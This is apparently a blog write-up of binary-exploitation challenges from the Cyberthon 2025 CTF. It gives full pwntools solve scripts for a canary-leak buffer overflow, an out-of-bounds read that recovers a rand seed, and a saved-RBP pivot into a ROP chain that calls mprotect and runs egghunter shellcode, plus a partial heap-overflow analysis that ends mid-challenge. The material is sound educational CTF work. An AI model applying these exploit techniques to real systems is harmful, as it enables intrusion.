Post

Cyberthon 2025 pwn

Cyberthon 2025 pwn

Cyberthon 2025 pwn

Table of Contents

Hi

Hi. Yes, its not a typo. Cyberthon 2025 writeup in 2026???!! Anyways in view of Cyberthon 2026 coming up this weekend, I decided to try last years pwn :). It was quite fun, but theres a lot more rev than pwn being done πŸ˜…πŸ˜‚.
download binaries

Pies, canaries and shells

The first challenge and the easiest, all the leaks you need are given to you, there is a buffer overflow and a win function.

Challenge protections

pies We will need a PIE leak as well as a canary leak.

Solve

No source code, so let’s just run the program first.

1
2
3
4
5
6
7
8
9
10
⊱ ───── The First Slip of Paper ───── ⊰

You unfold the first slip of paper. Written in an elegant script:
γ€Œ Pie Location: 0x5582399cb539 」


⊱ ───── The Second Slip of Paper ───── ⊰

The second slip contains a mysterious sequence of characters:
γ€Œ Canary: 0xe15085fc81e04500 」

This challenge is so kind to us :)

1
2
3
4
5
6
7
8
9
p.sendlineafter(b'Press Enter to examine the papers...',b'')
p.recvuntil(b'Pie Location: ')
leak = int(p.recvline().strip().split(b' ')[0],16)
log.info(f'pie is {hex(leak)}')

p.recvuntil(b'Canary: ')
canary = int(p.recvline().strip().split(b' ')[0],16)
log.info(f'canary is {hex(canary)} {len(p64(canary))}')
p.sendlineafter(b'Enter to continue your quest...',b'')

Throwing the program into ghidra to double check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void show_slips(void)

{
  long lVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  cprintf(5,&DAT_00102308);
  cprintf(4,"You unfold the first slip of paper. Written in an elegant script:\n");
  cprintf(3,&DAT_00102393,print_title);
  uVar2 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  cprintf(5,&DAT_001023b0);
  cprintf(4,"The second slip contains a mysterious sequence of characters:\n");
  cprintf(3,&DAT_00102437,uVar2);
  cprintf(6,"You stare at these cryptic pieces of information, trying to make sense of them.\n");
  cprintf(6,"What could a pie location and a canary possibly have to do with finding a shell?\n\n");
  cprintf(0xb,"Press Enter to continue your quest...");
  getchar();
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Yep, it prints the address of the print_title function and the canary.
Calculating our elf base:

1
2
3
print_title = elf.sym['print_title']
base = leak - print_title
elf.address = base
1
2
3
4
5
6
⊱ ───── Your Treasure Journal ───── ⊰

You decide to record your thoughts in your treasure hunting journal.
Perhaps writing down the right sequence will lead you to the shell...

Write your notes: aaaa

The program then reads our input.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void write_notes(void)

{
  long in_FS_OFFSET;
  undefined1 local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  cprintf(9,&DAT_00102528);
  cprintf(8,"You decide to record your thoughts in your treasure hunting journal.\n");
  cprintf(8,"Perhaps writing down the right sequence will lead you to the shell...\n\n");
  cprintf(3,"Write your notes: ");
  __isoc99_scanf(&DAT_00102613,local_58);
  cprintf(10,"\nYou finish writing and close your journal. Something feels different now...\n");
  cprintf(0xb,"Press Enter to continue...");
  getchar();
  getchar();
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

There is a buffer overflow because scanf with %s does not limit input size, so we can write past local_58 buffer.
Set a breakpoint before the buffer overflow.

1
2
3
4
5
6
7
8
pwndbg> disass write_notes
Dump of assembler code for function write_notes:
  ....
   0x000055555555585e <+149>:   call   0x555555555110 <__isoc99_scanf@plt>
  ....
End of assembler dump.
pwndbg> b *0x000055555555585e
Breakpoint 1 at 0x55555555585e

*RSI 0x7fffffffd780 our buffer will be whatever RSI points to.

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/15gx 0x7fffffffd780
0x7fffffffd780: 0x0000555555557d90      0x00007ffff7ffd000
0x7fffffffd790: 0x00007fffffffd7b0      0x00007ffff7e345d2
0x7fffffffd7a0: 0x00007fffffffd918      0x0000000000000001
0x7fffffffd7b0: 0x00007fffffffd7d0      0x00005555555557b2
0x7fffffffd7c0: 0xfcffb5f81a9bde00      0xfcffb5f81a9bde00
0x7fffffffd7d0: 0x00007fffffffd7f0      0x0000555555555994
0x7fffffffd7e0: 0x00007fffffffd8d0      0xfcffb5f81a9bde00
0x7fffffffd7f0: 0x00007fffffffd890
pwndbg> p $rbp
$2 = (void *) 0x7fffffffd7d0
pwndbg> x 0x0000555555555994
0x555555555994 <main+222>:      0x4800000e6d058d48

Our return address is at $rbp+8. 0x0000555555555994, originally pointing to main+222. After we fill our 72 byte buffer, we need to overwrite our canary value and then the saved rbp value.
Taking another look at what we can overwrite our return address to, we find a very usefull function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void shell(void)

{
  long lVar1;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  system("/bin/sh");
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Such a kind challenge, not only giving us free leaks but also a free shell.
Finishing up our exploit.

1
payload = b'A'*72 + p64(canary) + b'A'*8 + p64(elf.sym.shell+5)

Full Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

context.binary = './pies_canaries_and_shells'
elf = context.binary
p = process(elf.path)
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
# gdb.attach(p)

p.sendlineafter(b'Press Enter to examine the papers...',b'')
p.recvuntil(b'Pie Location: ')
leak = int(p.recvline().strip().split(b' ')[0],16)
log.info(f'pie is {hex(leak)}')

p.recvuntil(b'Canary: ')
canary = int(p.recvline().strip().split(b' ')[0],16)
log.info(f'canary is {hex(canary)} {len(p64(canary))}')
# gdb.attach(p)
p.sendlineafter(b'Enter to continue your quest...',b'')

print_title = elf.sym['print_title']
base = leak - print_title
elf.address = base

payload = b'A'*72 + p64(canary) + b'A'*8 + p64(elf.sym.shell+5)
# p.sendlineafter(b'Write your notes: ',payload)
p.recvuntil(b'Write your notes: ')
p.sendline(payload)
p.interactive()

Treasure manifest

This challenge is an out of bounds read to get the rand seed, followed by reversing the random shuffle to find the flag.

Solve

We can try running the program first.

1
2
3
4
5
6
7
8
9
10
11
12
QUERY CHEST NUMBER (0 - 9999): 0 
QUERYING CHEST #0.....

Contents: Sacred Salad Spinner
....
....
QUERY CHEST NUMBER (0 - 9999): 10000
QUERYING CHEST #10000.....

Contents: Di

Press Enter to continue...

We are given 2 chances to query a chest. The menu tells us to choose a number between 0 and 9999, but if we try and query something outside of that range, nothing stops us. This gives as our out of bound read.
Throwing the binary into ghidra

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void fill_chest_read_flag(void)

{
  long lVar1;
  time_t cur_time;
  long in_FS_OFFSET;
  int i;
  int j;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  time_chunk = (uint *)malloc(4);
  cur_time = time((time_t *)0x0);
  *time_chunk = (uint)cur_time;
  srand(*time_chunk);
  for (i = 0; i < 10000; i = i + 1) {
    *(undefined **)(&chest_arr + (long)i * 8) = PTR_s_Empty_chest..._nothing_but_cobwe_00106020;
  }
  _flag = read_flag();
  for (j = 0; j < 9999; j = j + 1) {
    *(undefined **)(&chest_arr + (long)j * 8) =
         (&PTR_s_Golden_Rubber_Duck_00106040)
         [j + ((j / 6 + (j >> 0x1f) >> 4) - (j >> 0x1f)) * -0x60];
  }
  swap_random_pos(&chest_arr,10000);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

The program mallocs 4 bytes to hold the current time, which is then used as the seed for the random.
As for the chest array, it first fills arr[0….9999] with a pointer to the string "Empty chest... nothing but cobwebs"
Subsequently, it reads the flag into the _flag variable and fills arr[0….9998] with pointers to different strings.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void swap_random_pos(long chest_arr,int n)

{
  long lVar1;
  int random_num;
  long in_FS_OFFSET;
  undefined4 i;
  undefined8 cur_item;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  for (i = n + -1; 0 < i; i = i + -1) {
    random_num = rand();
    random_num = random_num % (i + 1);
    cur_item = *(undefined8 *)(chest_arr + (long)i * 8);
    *(undefined8 *)(chest_arr + (long)i * 8) = *(undefined8 *)(chest_arr + (long)random_num * 8);
    *(undefined8 *)((long)random_num * 8 + chest_arr) = cur_item;
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

swap_random_pos is then called, relying on rand() and a shuffling algorithm to mix up the pointers in the array.
Looking at the ghidra listing, we can see something interesting.
flagchest The chest array, flag and time chunk are all side by side!
This means that initially, the flag is situated at arr[9999], and time chunk is at arr[10000]. If we can use our out of bounds read to leak the time, we can recreate the shuffling and figure out which index the flag will end up at!!
To double check, we can look in GDB.
The arr is in the .bss section so…

1
2
3
4
5
6
7
8
9
10
pwndbg> info files
...
0x000055555555a340 - 0x000055555556dc10 is .bss
...
pwndbg> x/100gx 0x000055555555a340
0x55555555a340 <stdout>:        0x00007ffff7fa35c0      0x0000000000000000
0x55555555a350 <stdin>: 0x00007ffff7fa28e0      0x0000000000000000
0x55555555a360 <stderr>:        0x00007ffff7fa34e0      0x0000000000000000
0x55555555a370: 0x0000000000000000      0x0000000000000000
0x55555555a380: 0x0000555555557521      0x0000555555557509

We find that the array starts at 0x55555555a380. Skipping to the end…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/10gx 0x55555555a380+(9999*8)
0x55555556dbf8: 0x000055555555766f      0x000055555556e2a0
0x55555556dc08: 0x00007fffffffdc34      0x0000000000000000
0x55555556dc18: 0x0000000000000000      0x0000000000000000
0x55555556dc28: 0x0000000000000000      0x0000000000000000
0x55555556dc38: 0x0000000000000000      0x0000000000000000
pwndbg> x 0x000055555555766f
0x55555555766f: 0x73756f69726f6c47
pwndbg> x/s 0x000055555555766f
0x55555555766f: "Glorious Garlic Crusher"
pwndbg> x/gx 0x000055555556e2a0
0x55555556e2a0: 0x0000000069f31ffc
pwndbg> p 0x0000000069f31ffc
$3 = 1777541116
pwndbg> x/s 0x00007fffffffdc34
0x7fffffffdc34: "flag.txt"

We can see that the pointer just after the array is a number 1777541116, which converts to April 27, 2026, ~17:22:36 (UTC) (correct as of time of writing). The value after that is a stack pointer to flag.txt.
The flag isn’t the last value in the array here cus it already got shuffled. Other than that, everything matches up with what we say in ghidra.
So anyways, we can just copy the shuffle alg and write a C script to find our flag index.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//compiling command
//gcc test.c -o test
#include <stdio.h>
#include <stdlib.h>

int main(){
    unsigned int seed;
    scanf("%u",&seed);

    srand(seed);
    int n = 10000;
    int rand_num;
    int arr[10000];
    for(int i=0;i<n;i++){
        arr[i] = i;
    }
    for(int i=n-1;i>0;i--){
        rand_num = rand();
        rand_num = rand_num%(i+1);
        int cur_item = arr[i];
        arr[i] = arr[rand_num];
        arr[rand_num] = cur_item;
    }
    for(int i=0;i<n;i++){
        if(arr[i] == 9999){
            printf("%d",i);
        }
    }
}

Putting everything together,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import ctypes
libc = ctypes.CDLL("libc.so.6")



context.binary = './treasure_manifest'
elf = context.binary
p = process([elf.path,'./flag.txt'])

# p.sendline(b'-4')
num = 10000
p.sendline(str(num).encode())
p.recvuntil(b'Contents: ')
leak = u64(p.recvline().strip().ljust(8,b'\x00'))
print(hex(leak))
print(leak)

p.interactive()

treasure

deceitful treasure

This was quite a cool challenge, and my first time hearing of this egghunter shellcode thing.

Challenge protections

deceit Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>

// ANSI Escape Codes for colors
#define RESET	"\x1b[0m"
#define RED		"\x1b[31m"
#define GREEN	"\x1b[32m"
#define YELLOW	"\x1b[33m"
#define BLUE	"\x1b[34m"
#define CYAN	"\x1b[36m"

char flag[] = "Cyberthon{this is a test flag. exploit the remote instance for the actual flag!}";

// Function to print ASCII art for the start
void print_intro() {
	printf(YELLOW);
	printf("	 _______\n");
	printf("	/		\\ \n");
	printf("   /  _   _  \\ \n");
	printf("  /  | | | |  \\ \n");
	printf(" /	 | | | |   \\ \n");
	printf("/____|_|_|_|____\\\n");
	printf("   Treasure Hunt\n");
	printf(RESET);
	printf("\nWelcome to the Treasure Hunt CTF Challenge!\n");
	printf("Your mission is to solve a series of clues and find the hidden treasure.\n");
}

// Function to handle the first clue
void clue1() {
	char answer[256];
	
	printf(CYAN);
	printf("\nYou are standing in a dense, foggy forest. A sign appears in front of you.\n");
	printf("It reads: 'Find the key to open the gate'.\n");
	printf("What is the key? (Hint: It's something you can read)\n");
	printf(RESET);

	scanf("%256[^\n]", answer);
	getchar();

	if (strcmp(answer, "book") == 0) {
		printf(GREEN "Correct! You've found the key in a hidden book.\n" RESET);
	} else {
		printf(RED "Incorrect answer. Try again.\n" RESET);
		clue1();  // Retry the clue
	}
}

// Function to handle the second clue
void clue2() {
	char answer[256];
	
	printf(CYAN);
	printf("\nYou walk through the gate and into a dark cave. Strange symbols line the walls.\n");
	printf("One of them is glowing brightly.\n");
	printf("What does the glowing symbol represent? (Hint: Think about a common shape)\n");
	printf(RESET);

	scanf("%256[^\n]", answer);
	getchar(); // consume newline

	if (strcmp(answer, "circle") == 0) {
		printf(GREEN "Correct! The glowing symbol is a circle, revealing a hidden path.\n" RESET);
	} else {
		printf(RED "Incorrect answer. Try again.\n" RESET);
		clue2();  // Retry the clue
	}
}

// Function to handle the final treasure clue
void clue3() {
	char answer[256];
	
	printf(CYAN);
	printf("\nYou enter the deepest part of the cave and find a treasure chest.\n");
	printf("A riddle is etched into the chest:\n");
	printf("I am the key to your success, I hold the number of days in a week. What number am I?\n");
	printf(RESET);

	scanf("%256[^\n]", answer);
	getchar();

	if (strcmp(answer, "7") == 0) {
		printf(GREEN "Correct! The chest opens, and you find the treasure inside.\n" RESET);
		printf(GREEN "Congratulations, you've completed the treasure hunt!\n" RESET);
	} else {
		printf(RED "Incorrect answer. Try again.\n" RESET);
		clue3();  // Retry the final clue
	}
}

// hehe, we don't want to give them the flag do we?
int hide_treasure() {
	void* rand_addr = 0x0;

	int rand_fd = open("/dev/urandom", O_RDONLY);
	while ((rand_addr == 0x0) || ((long)rand_addr == 0x0401) || ((long)rand_addr == 0x0601)) {
		read(rand_fd, &rand_addr, 2);
		rand_addr = (void*)((long)rand_addr << 12);
	}

	rand_addr = mmap(rand_addr, 0x1000, 6, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
	if (rand_addr == MAP_FAILED) {
		puts("mmap failed!");
		exit(0);
	}

	strcpy(rand_addr, flag);
	memset(flag, 0, sizeof(flag));

	rand_addr = 0;
	close(rand_fd);
	rand_fd = 0;
	return 0;
}

int main() {
	setbuf(stdin, 0);
	setbuf(stdout, 0);
	hide_treasure();
	print_intro();
	clue1();
	clue2();
	clue3();
	return 0;
}

The flag is first loaded into a random memory address. 3 clue functions are then called. In particular, after scanning of input, getchar() is called. This gives us a null byte overflow into the saved RBP value, which we can use to jump back into our buffer and execute our rop chain.

Solve

β€œWhy? Why does this null byte overflow cause execution to jump back into our buffer? That doesn’t even make sense!!” is what I used to think. Thankfully, I have enlightened myself, and I would be delighted to enlighten you too (maybe, hopefully???) to the best of my ability.

Saved RBP

What is the saved RBP πŸ€”πŸ€”πŸ€”πŸ€”. In x86-64, the Register Base Pointer (RBP) is used to mark the base of the current function’s stack frame.
When a function is called, it typically does:

1
2
push rbp
mov rbp, rsp #rbp = rsp

The OLD RBP (from the caller) is pushed onto the stack. This value is called the saved RBP.
When a function finishes, leave ret is called, which translates to:

1
2
3
mov rsp, rbp -> rsp = rbp
pop rbp -> rbp = saved rbp
ret

This does 3 things.

  1. restores the stack pointer RSP to where RBP is (current frame base)
  2. restores RBP back to where the previous RBP was (so RBP is now located at the SAVED RBP value/the caller’s value)
  3. return using return address

Note that even if the SAVED RBP was overwritten with garbage (as with typical buffer overflow challenges), it would not affect execution yet as the stack pointer RSP is still at a valid location.
Now think about it, what if leave ret was called TWICE!
During the second call, RSP would get moved to wherever the SAVED RBP was. In our case, the null byte would make the SAVED RBP point to our buffer, so if RSP was moved there, we would be able to ret and execute our rop chain.

1
2
3
4
# 2nd time
mov rsp, rbp -> rsp = saved rbp = the clobbered address
pop rbp
ret

Whatever next

We can set breakpoints at clue3’s scanf, and just before the function finishes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.binary = './chall_patched'
elf = context.binary
p = process(elf.path)
gdb.attach(p,gdbscript="""
b *0x0000000000400b5b
b *0x0000000000400bc0
""")
libc = ELF('./libc.so.6')
# libc = elf.libc
print(libc)
p.sendlineafter(b")\n",b'book')
p.sendlineafter(b")\n",b'circle')
payload = b'A'*256
p.sendlineafter(b"?\n",payload)
p.interactive()

Taking a look at *RSI 0x7ffce41ec440 for our buffer location

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> x/34gx 0x7ffce41ec440
0x7ffce41ec440: 0x0000656c63726963      0x00007f7ac561be65
0x7ffce41ec450: 0x0000000000000000      0x00007f7ac561be65
0x7ffce41ec460: 0x00007f7ac576a5e0      0x00007f7ac576e760
0x7ffce41ec470: 0x00007f7ac576a5e0      0x00007f7ac576e7e3
0x7ffce41ec480: 0x0000000000000d68      0x00007f7ac561b220
0x7ffce41ec490: 0x0000000000000048      0x0000000000000001
0x7ffce41ec4a0: 0x000000000000000a      0x0000000000400e60
0x7ffce41ec4b0: 0x0000000000602100      0x00007f7ac576a5e0
0x7ffce41ec4c0: 0x00007f7ac57b0020      0x00007f7ac561ce79
0x7ffce41ec4d0: 0x00007f7ac576e760      0x00007f7ac561d283
0x7ffce41ec4e0: 0x0000000000000048      0x00007f7ac576e760
0x7ffce41ec4f0: 0x0000000000400e60      0x00007f7ac561297a
0x7ffce41ec500: 0x00007f7ac576a5e0      0x00007f7ac561b139
0x7ffce41ec510: 0x00007ffce41ec668      0x00007ffce41ec540
0x7ffce41ec520: 0x0000000000000000      0x00007ffce41ec678
0x7ffce41ec530: 0x0000000000000000      0x0000000000400979
0x7ffce41ec540: 0x00007ffce41ec550      0x0000000000400d21
pwndbg> p $rbp
$3 = (void *) 0x7ffce41ec540

As you can see, initially RBP is just after our buffer, and hold a value that points to 0x10 bytes after it.
Continuing our execution in GDB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> x/34gx 0x7ffce41ec440
0x7ffce41ec440: 0x4141414141414141      0x4141414141414141
0x7ffce41ec450: 0x4141414141414141      0x4141414141414141
0x7ffce41ec460: 0x4141414141414141      0x4141414141414141
0x7ffce41ec470: 0x4141414141414141      0x4141414141414141
0x7ffce41ec480: 0x4141414141414141      0x4141414141414141
0x7ffce41ec490: 0x4141414141414141      0x4141414141414141
0x7ffce41ec4a0: 0x4141414141414141      0x4141414141414141
0x7ffce41ec4b0: 0x4141414141414141      0x4141414141414141
0x7ffce41ec4c0: 0x4141414141414141      0x4141414141414141
0x7ffce41ec4d0: 0x4141414141414141      0x4141414141414141
0x7ffce41ec4e0: 0x4141414141414141      0x4141414141414141
0x7ffce41ec4f0: 0x4141414141414141      0x4141414141414141
0x7ffce41ec500: 0x4141414141414141      0x4141414141414141
0x7ffce41ec510: 0x4141414141414141      0x4141414141414141
0x7ffce41ec520: 0x4141414141414141      0x4141414141414141
0x7ffce41ec530: 0x4141414141414141      0x4141414141414141
0x7ffce41ec540: 0x00007ffce41ec500      0x0000000000400d21

Afterwards, our saved RBP value is now pointing to somewhere INSIDE our buffer. As mentioned previously, for us to get our stack pointer to actually point to this value, we will need to call leave ret twice.
Well, the program conveniently calls clue3 again for us if our input fails to meet the required value 7.

ret sled

If you run our script a few times, you may realise that the location in the buffer as to which our overwritten saved RBP points to is random. I guess it is because it is a stack pointer and thus ASLR causes it to be different every time.
We can overcome this with the use of a ret sled in our buffer. By filling up our buffer with ret, regardless of where RBP points, execution would continue until it reaches our main ROP chain.

ROP

Our first ROP will be to get our libc address. We return to main so we can do our exploit again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi','ret']).address
payload = p64(pop_rdi) + p64(elf.got.puts) + p64(elf.plt.puts) + p64(elf.sym.main) 
payload += b'A'*8 #fake saved RBP value for when main returns

ret = p64(rop.ret[0])
payload = ret * ((256 - len(payload)) // 8) + payload
print(len(payload))


p.sendlineafter(b")\n",b'book')
p.sendlineafter(b")\n",b'circle')
p.sendlineafter(b"?\n",payload)
p.sendlineafter(b"?\n",payload)

p.sendlineafter(b'?\n',b'7')

p.recvuntil(b'treasure hunt!')
p.recvuntil(b'\x1b[0m')
leak = p.recvline().strip(b'\n')
leak = u64(leak.ljust(8,b'\x00'))
print(hex(leak))
libc_base = leak - libc.sym.puts
libc.address = libc_base
print('libc base',hex(libc.address))

You might think that, hey can’t we just call a shell now? Well, just a reminder but the flag isn’t in the directory and is zeroed out after being loaded at a random address.
As such, it will be much more useful if we can use mprotect on a certain region (bss) so we can execute shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rop = ROP(libc)
rop.mprotect(0x602000,0x1000,7) #region, length, protection
rop.gets(0x602200) #read into the buffer
rop.call(0x602200) #execute the code there
log.info(rop.dump())

payload = rop.chain()
payload = ret * ((256 - len(payload)) // 8) + payload
print(len(payload))

p.sendlineafter(b")\n",b'book')
p.sendlineafter(b")\n",b'circle')
p.sendlineafter(b'?\n',payload)
p.sendlineafter(b'?\n',payload)
p.sendlineafter(b'?\n',b'7')    

Egghunter

Basically what egghunter does it it scans memory until it finds a known marker, our β€œegg”. In our case we will just use the start of our flag. (Also note that the β€œegg” length needs to be a multiple of 4).
For pwntools shellcraft.egghunter(), return value is the address immediately following the match, stored in RDI. Thus we can just write whatever is in RDI to stdout and that would be our flag.

1
2
3
flagp = asm(shellcraft.egghunter(b"Cybe", 0x1000)) + asm(shellcraft.write(1, 'rdi', 0x100)) 
flagp += asm(shellcraft.exit(0)) #clean exit cus idk it seems to break without this
p.sendline(flagp)

Full Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

context.binary = './chall_patched'
elf = context.binary
p = process(elf.path)
# gdb.attach(p,gdbscript="""
# b *0x0000000000400b5b
# b *0x0000000000400bc0
# """)
# gdb.attach(p)

libc = ELF('./libc.so.6')
# libc = elf.libc
print(libc)
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi','ret']).address
payload = p64(pop_rdi) + p64(elf.got.puts) + p64(elf.plt.puts) + p64(elf.sym.main) 
payload += b'A'*8  

ret = p64(rop.ret[0])
payload = ret * ((256 - len(payload)) // 8) + payload
print(len(payload))


p.sendlineafter(b")\n",b'book')
p.sendlineafter(b")\n",b'circle')
p.sendlineafter(b"?\n",payload)
p.sendlineafter(b"?\n",payload)
p.sendlineafter(b'?\n',b'7')

p.recvuntil(b'treasure hunt!')
p.recvuntil(b'\x1b[0m')
leak = p.recvline().strip(b'\n')
leak = u64(leak.ljust(8,b'\x00'))
print(hex(leak))

libc_base = leak - libc.sym.puts
libc.address = libc_base
print('libc base',hex(libc.address))


rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi','ret']).address
pop_rsi = rop.find_gadget(['pop rsi','ret']).address
pop_rdx = rop.find_gadget(['pop rdx','ret']).address
# print(hex(pop_rdx))
rop.mprotect(0x602000,0x1000,7) #region, length, protection
rop.gets(0x602200) #read into the buffer
rop.call(0x602200) #execute the code there
log.info(rop.dump())
#alternative
# payload = b''
# payload += p64(pop_rdi) + p64(0x602000) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(7)
# payload += p64(libc.sym.mprotect)

# payload += p64(pop_rdi) + p64(0x602500) + p64(libc.sym.gets)
# payload += p64(0x602500)
# print(asm(payload))
payload = rop.chain()
payload = ret * ((256 - len(payload)) // 8) + payload
print(len(payload))

p.sendlineafter(b")\n",b'book')
p.sendlineafter(b")\n",b'circle')
p.sendlineafter(b'?\n',payload)
p.sendlineafter(b'?\n',payload)
p.sendlineafter(b'?\n',b'7')    

print('executing shellcode')
flagp = asm(shellcraft.egghunter(b"Cybe", 0x1000)) + asm(shellcraft.write(1, 'rdi', 0x100)) 
flagp += asm(shellcraft.exit(0))
p.sendline(flagp)


p.interactive()

rdi Also if you write from RDI the egg part would be cut off, but apparently if you write from RBX instead, it would show the full thing. I think it has something to do with the inner workings of pwntools shellcraft write though I’m not so sure of the details.

Stack Smashers Diner

Use heap overflow to overwrite values and meet requirements for flag dish. This challenge was a bit annoying to read all the decompilation and figure out all the requirements and how to achieve them.

Challenge Protections

stacksmash Quick summary of what the program does
You are given 4 options, option 1: prints menu and chef name
option 2: you choose a menu item and that it prints GARBAGE (tbh I didn’t rlly look into what the garbage function did so idk if its important or not)
option 3: you enter input (overflow here), and then it does some checks before printing the flag.
option 4: exit

Solve

If you throw the binary into ghidra, you’ll realise that you COULD possibly get the flag in 2 ways

  1. Through option 2, if you chose the flag option and pass the experience check
    • requirements: enough exp, menu count needs to be 7, canary
  2. Through option 3, if you control the rand so the menu item chosen is the flag
    • requirements: control rand, menu pointer and exp, canary

Both ways require you to use the overwrite in option 3 (I think). I actually have no idea if the 1st method works cus I was never really able to figure it out? It could even be a red herring.
But anyways if you poke around a bit you’ll realise that the program is layed out in a way that makes the 2nd method really easy to pull off.

Overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    if (choice == 3) {
      canary_check(c2);
      ......
      __isoc99_scanf(&DAT_00404bb0,c1);
      length = strlen(c1);
      if (0xff < length) {
        puts("What a picky eater! We\'ll just kick you out.");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      puts("Thank you for letting us know!");
      random = rand();
      local_14c = (int)((ulong)(long)random % *(ulong *)(c2[6] + 8));
      local_138 = (char *)((long)local_14c * 0x3c + *(long *)c2[6]);
      cVar1 = check_exp(c2,*(undefined4 *)((long)local_14c * 0x3c + *(long *)c2[6] + 0x18));
      canary_check(c2);
      random = strcmp(local_138,"Cyberthon 2025 Flag");
      //read and show flag if pass exp check, canary check, and the name check
    }

Our overflow is given to us by this check.

1
2
3
4
5
6
7
__isoc99_scanf(&DAT_00404bb0,c1); //using "%s"
      length = strlen(c1);
      if (0xff < length) {
        puts("What a picky eater! We\'ll just kick you out.");
                    /* WARNING: Subroutine does not return */
        exit(1);
      }

scanf will read and store null bytes from your input. As the length of the string to read is not specified, scanf will terminate upon reaching a whitespace character.
However, strlen() stops immediately after encountering the first null byte. Thus, if we fill up the first 0xff of our input with null bytes, we will pass the check and it gives us our overwrite of neighbouring values.

1
2
3
4
5
6
7
  c1 = (char *)malloc(0x100);
  c2 = (undefined8 *)malloc(0x38);
  *c2 = 0x6c614d2066656843;
  *(undefined4 *)(c2 + 1) = 0x636f6c;
  *(undefined4 *)(c2 + 4) = 6;
  c2[5] = 0xdeadbeefcafebabe;
  c2[6] = &PTR_s_Stack_Overflow_Stew_004071e0;

The program initializes 2 chunks, c1 and c2. c1 is where our write begins, while c2 contains the data that we will be wanting to control.
The layout is as so:

1
2
3
4
c2[0..1] -> chefs name (chef malloc)  
c2[4] -> experience  
c2[5] -> canary value
c2[6] -> pointer to menu pointer  

GDB might be able to give us a better view.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x408000
Size: 0x290 (with flag bits: 0x291)

#c1
Allocated chunk | PREV_INUSE
Addr: 0x408290
Size: 0x110 (with flag bits: 0x111)

#c2
Allocated chunk | PREV_INUSE
Addr: 0x4083a0
Size: 0x40 (with flag bits: 0x41)

pwndbg> x/50gx 0x408290
0x408290:       0x0000000000000000      0x0000000000000111 #c1 starts here
.....
0x4083a0:       0x0000000000000000      0x0000000000000041   #c2 starts here
0x4083b0:       0x6c614d2066656843      0x0000000000636f6c   #chef name
0x4083c0:       0x0000000000000000      0x0000000000000000   
0x4083d0:       0x0000000000000006      0xdeadbeefcafebabe   #canary
0x4083e0:       0x00000000004071e0      0x0000000000020c21   #menu pointer
0x4083f0:       0x0000000000000000      0x0000000000000000
